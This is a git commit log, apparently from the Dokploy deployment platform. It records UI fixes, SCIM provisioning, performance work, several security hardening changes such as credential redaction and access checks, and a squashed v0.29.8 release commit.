- Added a "Ports" column to display container port information with sorting functionality.
- Implemented a dropdown menu item to copy the Container ID to the clipboard with a success toast notification.
- Introduced a state filter dropdown to filter containers by their current state, with options for all defined states.
- Added a refresh button to allow manual refreshing of the container list.
2026-07-09 02:47:12 -06:00
Mauricio Siu 93b7942f7d chore: update dependencies in pnpm-lock.yaml and package.json
- Added @better-auth/scim version 1.6.23 to package.json.
- Updated versions of several @codemirror packages in pnpm-lock.yaml:
  - @codemirror/autocomplete from 6.20.0 to 6.20.3
  - @codemirror/language from 6.12.1 to 6.12.4
  - @codemirror/search from 6.6.0 to 6.7.1
  - @codemirror/view from 6.39.15 to 6.43.6
2026-07-09 02:39:34 -06:00
Mauricio Siu 6224d57adb Merge pull request #4778 from Dokploy/feat/oss-concurrent-builds
feat: make concurrent builds an OSS feature
2026-07-09 02:25:00 -06:00
Mauricio Siu 8d0ae19b58 feat: make concurrent builds an OSS feature without license gating 2026-07-09 02:24:08 -06:00
Mauricio Siu 856cf33dd8 Merge pull request #4777 from Dokploy/perf/dedupe-module-singletons
perf: share db, docker and auth singletons across duplicated bundles
2026-07-09 02:18:42 -06:00
Mauricio Siu 7924794ae7 perf: share db, docker and auth singletons across duplicated bundles
The @dokploy/server modules get bundled multiple times per process
(esbuild inline copy, compiled node_modules copy, and several Next.js
chunks via transpilePackages), so every module-level side effect ran
once per copy: up to 6 postgres pools, 6 dockerode clients and 6
better-auth instances in the server process, plus the repeated
'Using Docker socket' logs at boot.

- db/index.ts: use the globalThis cache in production too (one pool per process)
- constants/index.ts: cache the dockerode client on globalThis
- lib/auth.ts: wrap betterAuth() in a factory and cache the instance
- Dockerfile: exec node directly instead of leaving pnpm resident (~100MB RSS)
2026-07-09 02:13:05 -06:00
Mauricio Siu 3c114e2b45 Merge pull request #4771 from Dokploy/feat/scim
feat(scim): SCIM 2.0 user provisioning (enterprise)
2026-07-09 02:10:06 -06:00
Mauricio Siu cffd8464ef Merge pull request #4776 from Dokploy/fix/sso-trusted-origins-restart
fix(sso): apply trusted origin changes without server restart
2026-07-09 01:49:13 -06:00
Mauricio Siu b3621bcfff fix(sso): apply trusted origin changes without server restart 2026-07-09 01:46:32 -06:00
Antigravity AI 2df02f596a fix(webhook): include added and removed files in watchPaths validation
Currently, Dokploy only extracts modified files from webhook payloads.
This causes watchPaths to fail matching commits that only add or remove files (such as adding new routes or deleting files), preventing auto-deployments.

This commit updates the commit parsing logic to aggregate added, modified, and removed files.
2026-07-09 00:06:10 +03:00
autofix-ci[bot] b4574aa097 [autofix.ci] apply automated fixes 2026-07-08 20:09:43 +00:00
Mauricio Siu d831607f3a feat(scim): implement SCIM 2.0 user provisioning support 2026-07-08 14:06:22 -06:00
Mauricio Siu 995a04d30f chore(ui): reorganize imports across multiple components and tests for consistency 2026-07-08 12:28:41 -06:00
Mauricio Siu e6bfaa2eac Merge pull request #4768 from imrja8/fix/command-dialog-crash
chore(ui): fix biome formatting issues from #4761
2026-07-08 10:31:08 -06:00
Yash Kumar 3912c1abcc Merge branch 'Dokploy:canary' into fix/command-dialog-crash 2026-07-08 15:47:55 +05:30
Yash Kumar bb30dc14fe chore(ui): fix biome formatting in command.tsx to resolve CI failure 2026-07-08 15:45:30 +05:30
Mauricio Siu 532c8d0c0d Bump version from v0.29.10 to v0.29.11 2026-07-08 01:00:45 -06:00
Mauricio Siu 7871ce7684 Merge pull request #4755 from imrja8/fix/sidebar-collapsed-scroll
fix(ui): enable vertical scroll on collapsed sidebar
2026-07-07 11:55:32 -06:00
Mauricio Siu 98b86300df Merge pull request #4761 from imrja8/fix/command-dialog-crash
fix(ui): resolve CommandDialog crash on CMD/CTRL + J shortcut
2026-07-07 11:54:14 -06:00
Mauricio Siu 82fcdc9598 Merge pull request #4763 from Dokploy/fix/rebuild-database-dialog-crash
fix(databases): resolve crash when opening rebuild database dialog
2026-07-07 11:53:27 -06:00
Mauricio Siu 4e3a6db83a fix(databases): resolve crash when opening rebuild database dialog 2026-07-07 11:52:13 -06:00
Yash Kumar 17fdd64c10 fix(ui): resolve CommandDialog crash on ⌘J shortcut 2026-07-07 21:17:19 +05:30
Mauricio Siu 215c4666ff Merge pull request #4758 from Dokploy/feat/pin-install-script-version
feat(ci): pin install.sh release asset to the released version
2026-07-07 02:58:12 -06:00
Mauricio Siu 9749d86b4c feat(ci): pin install.sh release asset to the released version 2026-07-07 02:57:58 -06:00
Mauricio Siu 12a9cceec7 Merge pull request #4757 from Dokploy/feat/attach-install-script-to-releases
feat(ci): attach install.sh to each GitHub release
2026-07-07 02:43:13 -06:00
Mauricio Siu d3e0b100a0 feat(ci): attach install.sh from website repo to each release 2026-07-07 02:42:36 -06:00
Yash Kumar a296407c85 fix(ui): enable vertical scroll on collapsed sidebar 2026-07-07 10:08:09 +05:30
Mauricio Siu 0d79a0a221 Merge pull request #4751 from Dokploy/fix/requests-chart-not-visible
fix(requests): chart not visible in Requests tab
2026-07-06 19:01:26 -06:00
Mauricio Siu c9ac7236a7 fix(requests): remove nested ResponsiveContainer breaking chart height 2026-07-06 19:00:46 -06:00
Mauricio Siu 6e5ac41bab refactor(sso): remove deprecated enterprise authentication card from settings page
- Eliminated the EnterpriseFeatureGate card for Application Authentication from the SSO settings page to streamline the UI.
- This change simplifies the layout and focuses on relevant features for users, particularly in non-cloud environments.
2026-07-06 18:43:25 -06:00
Mauricio Siu d7b9f01567 fix(ui): update project name display in environment page
- Wrapped the project name in a paragraph element to improve text styling and ensure proper truncation for better readability.
- Enhanced the layout of the EnvironmentPage component for a more polished user interface.
2026-07-06 16:59:16 -06:00
Mauricio Siu 8f9be1636c feat(whitelabeling): implement public whitelabeling configuration retrieval
- Added a new service to fetch public whitelabeling configuration for unauthenticated contexts.
- Updated the whitelabeling router to utilize the new service for public requests.
- Enhanced license validation checks to ensure proper access control based on organization licenses.
2026-07-06 16:33:12 -06:00
Mauricio Siu 86f941d606 feat(sidebar): add enterprise badge for valid license in sidebar
- Integrated a new Badge component to display an "Enterprise" label when a valid license is detected.
- Enhanced the sidebar layout to accommodate the new badge alongside the organization name, improving user visibility of license status.
2026-07-06 15:49:55 -06:00
Mauricio Siu 1da4db2905 Merge pull request #4746 from Dokploy/canary
🚀 Release v0.29.10
2026-07-06 03:43:48 -06:00
Mauricio Siu a5bb9486a9 chore(package): bump version to v0.29.10 2026-07-06 03:37:58 -06:00
Mauricio Siu c72698cc11 Merge pull request #4745 from Dokploy/feat/plan-limits
Feat/plan limits
2026-07-06 03:37:31 -06:00
Mauricio Siu a1b26e8b83 Merge pull request #4744 from emi-ran/fix/sort-dropdown-scrollbar
fix(ui): prevent scrollbar layout shift
2026-07-06 03:37:16 -06:00
Mauricio Siu b176f8f860 refactor(ui): streamline button styles and layout in dashboard components
- Removed unnecessary width class from buttons in ShowNodeApplications and ShowNodeConfig components for a cleaner design.
- Updated spacing in the NodeCard component to use gap instead of space-x for improved layout consistency.

These changes enhance the visual consistency and usability of the dashboard UI components.
2026-07-06 03:35:39 -06:00
autofix-ci[bot] 59b0e51ef7 [autofix.ci] apply automated fixes 2026-07-06 09:33:30 +00:00
Mauricio Siu 8c900408bd fix(tag-filter): update no tags message and improve layout
- Changed the message displayed when no tags are found to "No tags created yet." for better clarity.
- Added a consistent layout for the tag handling component in both TagFilter and TagSelector, ensuring a unified user experience.
2026-07-06 03:32:26 -06:00
Mauricio Siu 8db1250487 fix(ui): improve select component behavior and styling across various providers
- Added a check to prevent empty values from being processed in the onValueChange handler for Bitbucket, Gitea, GitHub, and GitLab providers.
- Removed unnecessary defaultValue prop from Select components to streamline the code.
- Updated button styles to remove background color for better consistency across the UI.
- Enhanced volume backup selection to display a message when no volumes are found.

This update enhances user experience by ensuring that empty selections are handled gracefully and improves the overall visual consistency of the UI components.
2026-07-06 03:27:52 -06:00
Emirhan 71bbbb44db fix(ui): prevent scrollbar layout shift 2026-07-06 10:39:16 +03:00
Mauricio Siu b3feeed3e4 Merge pull request #4734 from Dokploy/canary
🚀 Release v0.29.9
2026-07-05 23:52:29 -06:00
Mauricio Siu 2440e8f803 Merge branch 'main' into canary 2026-07-05 23:47:00 -06:00
VincentEmmanuel ca2708a58a fix(ai): allow Ollama Cloud API key in AI settings (#4262)
The Ollama detection matched any URL containing "ollama", which hides
the API Key field for Ollama Cloud (ollama.com) and drops the key from
the createOllama() client, so cloud requests go out unauthenticated.

Narrow the rule to localhost-only Ollama and forward the API key as a
Bearer header when provided.

Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-07-05 17:03:08 -06:00
Rafael Dias Zendron f8a3561f1e fix(backup): redact S3 credentials from logs and error output (#4648)
* fix(backup): redact S3 credentials from logs and error output (#4621)

S3 backup credentials (access key + secret) were logged in plaintext
to Dokploy service stdout via logger.info in getBackupCommand() and
console.error in keepLatestNBackups(). Any operator with access to
service logs could recover S3 credentials.

Added redactRcloneCredentials() pure function that masks
--s3-access-key-id and --s3-secret-access-key values with [REDACTED].
Applied to both the structured logger call and the error handler.

Closes #4621

* fix(backups): redact sensitive information in error logs during web server backup process

Updated error handling in the web server backup function to redact Rclone credentials from error messages before logging and notification. This change enhances security by preventing sensitive data exposure in logs.

---------

Co-authored-by: Mauricio Siu <siumauricio@icloud.com>
2026-07-05 16:52:03 -06:00
Mauricio Siu 38de9ef218 fix(ai): allow configFiles to be null in template generator Details type (#4736) 2026-07-05 16:51:47 -06:00
Mauricio Siu cb23d726fe feat(databases): add copy button to User and Database Name fields (#4735)
* feat(databases): add copy button to User and Database Name fields

Adds an enableCopyButton prop to the Input component and uses it on
the User, Database Name, and Internal Host fields across Postgres,
MySQL, MariaDB, MongoDB, Redis, and Libsql credential views.

Closes #4495

* [autofix.ci] apply automated fixes

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2026-07-05 16:34:35 -06:00
Mauricio Siu aa93897eae chore(package): bump dokploy version to v0.29.9 2026-07-05 16:31:48 -06:00
Guillaume Lecomte 475a01c4a2 fix(databases): update default Redis version from 7 to 8 (#4224)
Update Redis default image from redis:7 to redis:8 in:
- packages/server/src/setup/redis-setup.ts (internal Redis setup)
- packages/server/src/services/ai.ts (AI service template examples)
- apps/dokploy/components/dashboard/project/add-database.tsx (UI default)

Redis 8 provides better performance according to benchmarks while
maintaining stability. Closes #4172.
2026-07-05 16:21:51 -06:00
Mauricio Siu 8a0e44291f fix(deployment): resolve schedule to its service before permission check in allByType (#4733)
Members with access to a schedule's application/compose got a 401 on
deployment.allByType because it passed the scheduleId straight into
checkServicePermissionAndAccess, which expects a service id.
2026-07-05 16:17:27 -06:00
Mauricio Siu 3e11c0a240 fix(ai): use nullable instead of optional for configFiles in AI suggestion schema (#4732)
OpenAI strict mode for response_format requires every property to be
listed in 'required'. Optional fields must instead be modeled as
nullable so the key stays required while still allowing no value.

Fixes #4267
2026-07-05 15:38:05 -06:00
Mauricio Siu b96c5e8655 fix(projects): make project cards grid fill available width on wide screens (#4731) 2026-07-05 15:06:54 -06:00
Jean-Philippe Sirois 86ea311714 fix: prevent environment form from resetting while editing
The application environment editor shares the application.one query with
its parent page, which polls every 5s. Each refetch pushed fresh data
into a useEffect that called form.reset(), wiping any in-progress edits
(e.g. while scrolling down to the Save button). Gate the reset on the
form not being dirty so background refetches no longer clobber unsaved
edits, and reset the dirty baseline after a successful save so the form
re-syncs with the server normally.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-12 20:28:02 -04:00
fcsouza dc2fc40c38 fix(logs): respect log level explicitly declared by structured loggers 2026-06-12 10:37:15 -03:00
github-actions[bot] b3c2e1e5af 🚀 Release v0.29.8 (#4562)
* fix(migrate-auth-secret): exit cleanly when there are no 2FA records

The empty-records branch of `main()` returned without calling
`process.exit(0)`, leaving the Drizzle Postgres connection pool
holding the event loop open. The `migrate-auth-secret` process
then hangs indefinitely after printing "No 2FA records found,
nothing to migrate." causing the upstream `0.29.3.sh` security
migration script (which calls this via `docker exec`) to never
reach its final `docker service update` step that mounts the new
Docker Secret. Operators end up with the new secret created but
the dokploy service still configured with the hardcoded
`BETTER_AUTH_SECRET`, while believing the migration completed.

Match the success branch a few lines below which already does
`process.exit(0)`, and the pattern used in sibling scripts
`reset-password.ts` and `reset-2fa.ts`.

Closes #4392

* feat(compose): add import from base64 in create service dropdown

Adds an "Import" option to the Create Service dropdown that lets users
paste a base64-encoded compose export, preview the template (compose YAML,
domains, envs, mounts) before confirming, and create the service only on
confirm. Adds a `previewTemplate` tRPC procedure that processes the base64
without touching the DB, with server access validation via session.

* [autofix.ci] apply automated fixes

* Enhance version synchronization workflow to include SDK repository

- Updated the GitHub Actions workflow to sync versioning across MCP, CLI, and SDK repositories.
- Added steps to bump the version in the SDK repository and regenerate tools from the latest OpenAPI spec.
- Improved commit message formatting to include source and release information for all repositories.
- Ensured successful synchronization messages for each repository after the version update.

* feat(deployment): add readLogs procedure to fetch deployment logs

- Introduced a new `readLogs` procedure that allows users to retrieve logs for a specific deployment by providing the deployment ID and an optional tail parameter.
- Implemented permission checks to ensure users have access to the requested logs.
- Enhanced log retrieval for both cloud and non-cloud environments, utilizing appropriate commands based on the server context.

Resolve https://github.com/Dokploy/mcp/issues/14

* feat(deployment): add server access validation for deployment actions

- Implemented server access validation in deployment procedures to ensure users can only access deployments associated with their active organization.
- Added checks to throw an UNAUTHORIZED error if a user attempts to access a deployment linked to a server outside their organization.

This enhancement improves security and access control within the deployment management system.

* feat(organization): prevent inviting users with owner role

- Added validation to prevent users from being invited with the owner role in the organization and user routers.
- Implemented TRPCError responses to ensure proper error handling when attempting to assign the owner role.
This change enhances role management and security within the organization structure.

https://github.com/Dokploy/dokploy/security/advisories/GHSA-fm9p-wmpw-gxjh

* feat(user): implement session cleanup on user update

- Added functionality to delete old sessions when a user updates their password, ensuring that only the current session remains active.
- This change enhances security by preventing unauthorized access from previous sessions after a password change.

Close here https://github.com/Dokploy/dokploy/security/advisories/GHSA-rr9m-w87g-46f3

* feat(settings): add copy button to server IP in web server settings (#4397)

* fix: copy Dokploy server IP when clicking server badge (#4390)

* fix: copy Dokploy server IP when clicking server badge

When a service runs on the local Dokploy server (no remote server),
clicking the server badge did nothing because `data.server` is null.
Now falls back to the server IP from settings so the badge always
copies an IP address.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>

* feat(copy-ip): implement IP address copying functionality across database service components

- Added the ability to copy the server IP address to the clipboard when clicking the server badge in various database service components (Libsql, MariaDB, MongoDB, MySQL, PostgreSQL, Redis).
- Integrated the `copy-to-clipboard` library and `sonner` for user feedback upon successful copy action.
- Ensured fallback to the server IP from settings when the service data is not available, enhancing user experience and functionality.

---------

Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
Co-authored-by: Mauricio Siu <siumauricio@icloud.com>

* fix: responsive layout (#4391)

Signed-off-by: Nahidujjaman Hridoy <hridoyboss12@gmail.com>

* fix: automatically converting username to lowercase both in creation of register, and build for extra. (#4382)

* fix: allow square brackets in zip path validation for Next.js dynamic routes (#4468)

* fix: allow square brackets in zip drop path validation for Next.js dynamic routes

ZIP uploads containing Next.js dynamic route files (e.g. app/api/[id]/route.ts,
pages/[slug].tsx) were rejected by readValidDirectory because the path regex
did not include square bracket characters.

* [autofix.ci] apply automated fixes

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>

* fix: prevent webhook deploy crash when commit data lacks modified files (#4470)

shouldDeploy passed undefined/null entries from commit.modified straight
into micromatch, which throws "Expected input to be a string" and fails
every webhook deployment when watch paths are configured. Filter out
non-string values before matching.

* fix: add type="button" to TooltipTrigger in form components to prevent accidental submission (#4422)

Co-authored-by: Maks Pikov <mixelburg@users.noreply.github.com>

* fix: enable comment toggle shortcut in env variable editor (#4402) (#4473)

* fix: add tls=true label for domains when certificateType is none (#4018) (#4474)

* fix: add tls=true label for compose domains when certificateType is none (#4018)

* test: cover tls=true label for certificateType none, require https

* fix: scope tls fix to compose labels, leave traefik file config unchanged (#4018)

* chore: update version to v0.29.5 in package.json

* chore(deps): upgrade next to 16.2.6 (#4477)

Upgraded next dependency in apps/dokploy to 16.2.6 exactly. Verified typescript typecheck passes successfully.

* feat: add self-hosted enterprise restrictions (remote-servers-only, enforce-sso) (#4511)

* feat: add self-hosted enterprise restrictions (remote-servers-only, enforce-sso)

- Add `remoteServersOnly` field to webServerSettings: prevents creating services
  on the local Dokploy VM, forcing all deployments to remote servers. Validated
  in all 8 service routers (application, compose, postgres, mysql, mongo, redis,
  mariadb, libsql).
- Add `enforceSSO` field to webServerSettings: hides the email/password login
  form and shows only the SSO button on the login page.
- Both settings are enterprise-only (enterpriseProcedure) and self-hosted-only
  (blocked at the API level when IS_CLOUD=true).
- UI toggles added to the SSO settings page under a new "Self-hosted
  Restrictions" card (hidden in cloud). Login page reads enforceSSO from
  getServerSideProps to avoid client-side flash.
- Migrations: 0167_fresh_goliath.sql, 0168_long_justice.sql

* fix: add missing final newlines to migration files

* refactor: improve code formatting for better readability in multiple components

- Adjusted formatting in `add-application.tsx`, `add-compose.tsx`, and `add-database.tsx` to enhance readability by adding line breaks and consistent indentation.
- Updated `toggle-enforce-sso.tsx` to simplify the Switch component's props.
- Reformatted imports in `index.tsx` and `sso.tsx` for consistency.
- Cleaned up conditional statements in various router files for improved clarity.

* fix: add enforceSSO to test mock

* fix: grant create and delete SSH key permissions when canAccessToSSHKeys is enabled for members (#4512)

* fix: use create permission for basic auth delete instead of delete (#4513)

* fix: wrap long server names and keep actions menu visible (#4434)

On settings/servers, a long server name in the card title (h3) did not
wrap and overflowed its container, overlapping nearby content and
squeezing the three-dots actions menu until it disappeared.

Allow the title block to shrink and wrap (min-w-0 + break-words), keep
the server icon and the actions trigger from being crushed (shrink-0),
and add gap between the title and the actions button.

* chore: update version to v0.29.6 in package.json

* fix: preserve HOME in compose deploy so --with-registry-auth can read docker config (#4485)

The compose/stack deploy command runs under `env -i PATH="$PATH"`, which
clears the environment except for PATH. That strips HOME, so when the
generated command is `docker stack deploy --prune --with-registry-auth`
the docker CLI cannot resolve `~/.docker/config.json` (e.g.
`/root/.docker/config.json`) and ships no registry credentials to the
swarm. Private-registry images then fail to pull on the nodes:

  image registry.example.com/... could not be accessed on a registry to
  record its digest. Each node will access ... independently

while the deploy still logs "Docker Compose Deployed: ✅".

Keep PATH isolation but preserve HOME so docker can read its config for
both `stack deploy --with-registry-auth` and `compose up -d --build`.

Add a regression test asserting the generated command preserves
`HOME="$HOME"` for both stack and docker-compose deploys.

Fixes #4401

Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* fix: scope dokploy-server schedules to organization instead of user (#4526)

* fix: scope dokploy-server schedules to organization instead of user

Replaces userId with organizationId on the schedule table so that
global (dokploy-server) schedules are shared across all owners and
admins of the same organization, while remaining isolated between
different organizations.

Includes a data migration that backfills organizationId from the
owner membership record for any existing dokploy-server schedules.

Closes #4300

* [autofix.ci] apply automated fixes

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>

* feat: implement forward authentication settings and UI components

- Added a new `forward_auth_settings` table to manage authentication domains and their configurations.
- Introduced UI components for handling forward authentication, including enabling/disabling SSO for domains and selecting SSO providers.
- Updated existing tests to include validation for the new `forwardAuthProviderId` field in domain configurations.
- Enhanced the dashboard to integrate forward authentication management, allowing users to configure SSO settings directly from the application interface.

This update improves the flexibility and security of application authentication by allowing integration with various identity providers.

* refactor: simplify forward authentication handling in UI and API

- Removed the selection of SSO providers from the UI, streamlining the process to enable/disable SSO for domains.
- Updated the API to eliminate the need for a provider ID when enabling forward authentication, relying on the configured settings instead.
- Enhanced user feedback by updating toast messages to reflect the current state of SSO authentication.
- Improved the UI layout for better clarity on SSO status and actions.

This refactor enhances the user experience by simplifying the SSO configuration process and ensuring clearer communication of actions taken.

* refactor: unify branch validation imports across provider components

- Added the `VALID_BRANCH_REGEX` import to all Git provider components to ensure consistent branch validation.
- Removed duplicate imports of `VALID_BRANCH_REGEX` to streamline the code and improve readability.

This change enhances maintainability by centralizing branch validation logic across the application.

* refactor: remove obsolete SQL migration files and snapshots

- Deleted several SQL migration files related to the `webServerSettings` and `schedule` tables, which included adding and dropping columns and constraints.
- Removed snapshots corresponding to the deleted migrations to maintain consistency in the database schema history.

This cleanup enhances the maintainability of the migration history by removing outdated and unused files.

* refactor: update forward authentication handling in domain schema and tests

- Replaced `forwardAuthProviderId` with `forwardAuthEnabled` in the domain schema to simplify the configuration of forward authentication.
- Updated related tests to reflect this change, ensuring consistency across the application.
- Introduced a new SQL migration to create the `forward_auth_settings` table for managing authentication domains and their configurations.

This refactor enhances the clarity and maintainability of the forward authentication logic within the application.

* chore: remove PR quality workflow configuration

Deleted the `.github/workflows/pr-quality.yml` file, which contained the configuration for the PR Quality workflow. This removal streamlines the repository by eliminating unused workflow files.

* Delete .github/workflows/pr-quality.yml

* refactor: enhance forward authentication UI and API integration

- Updated the alert block in the HandleForwardAuth component to provide clearer requirements for deploying the authentication proxy.
- Added a DnsHelperModal to assist with DNS configuration in the ForwardAuthServers component.
- Refined API input schemas for forward authentication operations to improve type safety and clarity.
- Removed the obsolete forward-auth SSO design document to streamline documentation.

These changes improve the user experience and maintainability of the forward authentication feature across the application.

* feat: add SQL migration for lucky echo and update foreign key constraints

- Introduced a new SQL migration file `0171_lucky_echo.sql` to modify the foreign key constraint on the `sso_provider` table, changing the `ON DELETE` behavior from `cascade` to `set null`.
- Updated the journal to include the new migration version and its associated tag.
- Added a snapshot file for version 7 of the database schema, reflecting the current state of the `sso_provider` and other related tables.

These changes enhance the integrity of the database by ensuring that user references are set to null instead of being deleted when the referenced user is removed.

* refactor: improve path validation in Traefik configuration schema

- Enhanced the `apiReadTraefikConfig` schema by reintroducing path validation logic to prevent directory traversal attacks and unauthorized access.
- The validation now includes checks for null bytes and ensures paths start with a defined main Traefik path, improving security and robustness.

These changes strengthen the integrity of the configuration handling by ensuring only valid paths are accepted.

* fix: swarm health check fields not resetting to default values (#4558)

Fixes #4553

- Replace z.coerce.number() with a custom transform that converts empty strings to undefined instead of 0
- Add value={field.value ?? ""} to numeric inputs so they visually clear when reset to undefined

* fix: add docker cleanup toggle to remote server creation (#4559)

* fix: add docker cleanup toggle to remote server creation and update forms

* [autofix.ci] apply automated fixes

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>

* fix: use stop-first update order for all database services (#4560)

Docker Swarm's default start-first update order causes new database
containers to fail with 'DBPathInUse' because two containers compete
for the same data volume simultaneously. Docker then rolls back the
update, silently reverting any env var or config changes.

Using stop-first ensures the old container is stopped before the new
one starts, preventing volume lock conflicts across all database types.

Fixes #4550

* fix: respect gitProviders permissions in git provider UI (#4561)

* chore: bump dokploy version to v0.29.8

* fix: strip credentials from service-level API responses (#4564)

* fix: strip credentials from service-level API responses

Registry passwords and S3 destination credentials were being returned
in service `.one` tRPC endpoints to any user with service-level read
access. Reported by Nihon Kohden Corporation security team.

- Strip registry `password` from `findApplicationById` via Drizzle `columns: { password: false }`
- Strip destination `accessKey`/`secretAccessKey` from all DB service finders (postgres, mysql, mariadb, mongo, libsql, compose, backup, volume-backups)
- Add `findRegistryByIdWithCredentials` for internal use only
- Builders and upload utils now load registry credentials by ID at execution time
- `createRollback` enriches `fullContext` with registry credentials before persisting to DB so rollback execution has what it needs
- Remove `findApplicationByIdWithCredentials` and `ApplicationNestedWithCredentials` — no longer needed
- Backup execution utils load full destination via `findDestinationById` at runtime instead of reading from the joined relation

* [autofix.ci] apply automated fixes

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>

* refactor: improve restore logging for database backups (#4566)

* refactor: improve restore logging for database backups

- Updated restore functions across various database types (Postgres, MySQL, MongoDB, MariaDB, LibSQL, and Compose) to provide clearer logging messages.
- Replaced generic command execution logs with specific messages indicating the database being restored and the source backup file.
- This change enhances the clarity of restore operations and aids in troubleshooting by providing more context in the logs.

* [autofix.ci] apply automated fixes

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>

* fix: use swarm advertise address in docker swarm join command (#4567)

* fix: enforce docker:read on container start/stop/kill/restart mutations (#4568)

* refactor: replace BETTER_AUTH_SECRET with betterAuthSecret in forward-auth setup

* fix: update deriveCookieSecret to meet oauth2-proxy requirements

* fix: correct deriveCookieSecret test to validate 16-byte hex secret as per oauth2-proxy requirements

* fix: strip credentials from gitProvider.getAll API response (#4569)

* fix: strip credentials from gitProvider.getAll API response

* [autofix.ci] apply automated fixes

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>

* fix: correct git provider access check for existing deploys (#4570)

* fix: use canEditDeployGitSource for git provider access on existing deploys

Replaces the simple userId ownership check with a new canEditDeployGitSource
function that correctly handles all role/sharing scenarios. Owner always has
access; admin and member only if they own the provider or it is shared with
the org — being assigned via accessedGitProviders (enterprise) only grants
permission to connect new deploys, not to edit the git source of existing ones.

Adds 26 unit tests covering owner, admin, member (with/without enterprise
license), shared providers, and the key regression case from issue #4469.

* [autofix.ci] apply automated fixes

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>

* fix: prevent registry password from appearing in error messages and shell commands (#4579)

---------

Signed-off-by: Nahidujjaman Hridoy <hridoyboss12@gmail.com>
Co-authored-by: ngenohkevin <ngenohkevin19@gmail.com>
Co-authored-by: Mauricio Siu <47042324+Siumauricio@users.noreply.github.com>
Co-authored-by: Mauricio Siu <siumauricio@icloud.com>
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
Co-authored-by: Volodymyr Kravchuk <volodymyr.kravch@gmail.com>
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
Co-authored-by: Nahidujjaman Hridoy <75487507+nhridoy@users.noreply.github.com>
Co-authored-by: Francis <9560564+Baker@users.noreply.github.com>
Co-authored-by: mixelburg <52622705+mixelburg@users.noreply.github.com>
Co-authored-by: Maks Pikov <mixelburg@users.noreply.github.com>
Co-authored-by: Jasael <67719321+jasael@users.noreply.github.com>
Co-authored-by: Philippe Parage <69145356+pparage@users.noreply.github.com>
Co-authored-by: youcef zr <93142224+youcefzemmar@users.noreply.github.com>
2026-06-08 09:20:55 -06:00
Raushan Kumar Thakur 7da96810a8 fix: invalidate railpack build cache when env changes 2026-06-06 22:47:48 +05:30
Mauricio Siu 60867d0b60 Merge pull request #4537 from Dokploy/canary
🚀 Release v0.29.7
2026-06-02 02:31:10 -06:00
autofix-ci[bot] b90279c26a [autofix.ci] apply automated fixes 2026-04-26 04:55:41 +00:00
Guillaume LECOMTE 689ae51ee7 fix(ui): remove early return to render theme-aware favicon immediately
The previous implementation returned null when config was not yet loaded,
preventing the theme-aware favicon from rendering during initial page load.

Now uses optional chaining (config?.metaTitle, config?.customCss) throughout
so the <link rel="icon"> always renders with the correct theme-aware favicon
regardless of config loading state.

Fixes P1 issue from code review.
2026-04-14 12:16:57 +02:00
Guillaume LECOMTE 9be96d4195 fix(ui): update favicon dynamically based on app theme
Add icon-light.svg and icon-dark.svg with fixed fills (black/white)
instead of relying on CSS prefers-color-scheme media query.

Update WhitelabelingProvider to use useTheme() and switch favicon
based on resolvedTheme (dark/light/unknown).

When custom faviconUrl is set, it takes precedence.

Closes #4100.
2026-04-14 11:58:21 +02:00
Mauricio Siu 5f508163e5 feat: add network management schema and update related tables
- Introduced a new ENUM type "networkDriver" and created the "network" table with various attributes for network management.
- Added "networkIds" column to multiple existing tables (application, compose, mariadb, mongo, mysql, postgres, redis) to support network associations.
- Established foreign key constraints for "organizationId" and "serverId" in the "network" table to ensure referential integrity.
- Updated migration journal and added a new snapshot for version 0166 to reflect these changes.
2026-04-13 16:12:57 -06:00
Mauricio Siu fc75b847b5 Merge branch 'canary' into feat/add-network-management 2026-04-13 15:59:23 -06:00
Mauricio Siu b1abcb9e06 refactor: remove deprecated network schema and related snapshots
- Deleted the SQL file for the "network" table and its associated constraints, as well as the snapshot for version 0146, to clean up the database schema.
- Updated the migration journal to reflect these deletions, ensuring consistency in the database structure.
2026-04-13 15:58:21 -06:00
Daniel Abramov f21931da60 fix: add unzip to arch server set up 2026-04-08 18:29:29 +02:00
rpoetrap e802342f57 fix sequential awaits 2026-04-07 17:04:38 +07:00
Rizki Putra 3e11897762 fix: return a valid docker host for docker desktop 2026-04-07 11:14:57 +07:00
Gabriel Vinhaes eb80f79862 fix: preserve server schedule failures through tee pipeline 2026-04-01 16:37:56 -03:00
Yandi 43f9f545c6 fix: use lazy initializer for useState with function calls
Calling getTerminalKey() and getDefaultDateRange() directly in useState
re-runs them on every render. Wrap in an arrow function so they execute
only once during component initialization.
2026-02-22 20:34:38 +07:00
Mauricio Siu d542972522 fix: enhance server validation in createNetwork function
- Updated the createNetwork function to ensure serverId is required when in cloud mode, improving error handling for network creation.
- Added braces for clarity in the conditional statement, enhancing code readability.
2026-02-22 01:58:28 -06:00
Mauricio Siu e7c38d4c54 feat: create network table and update related schemas
- Added a new "network" table with various attributes including networkId, name, driver, and constraints for organizationId and serverId.
- Introduced a custom ENUM type "networkDriver" for network drivers.
- Updated existing tables (application, compose, mariadb, mongo, mysql, postgres, redis) to include a new "networkIds" column of type text[].
- Created a snapshot for version 7 to reflect these schema changes in the database.
2026-02-22 01:57:18 -06:00
autofix-ci[bot] a8f941b5d9 [autofix.ci] apply automated fixes 2026-02-22 07:56:34 +00:00
Mauricio Siu c68fac55fd refactor: remove deprecated network and snapshot SQL files
- Deleted the SQL files for the "network" table and its associated constraints, as well as the snapshots for versions 0146 and 0147, to clean up the database schema and remove unused components.
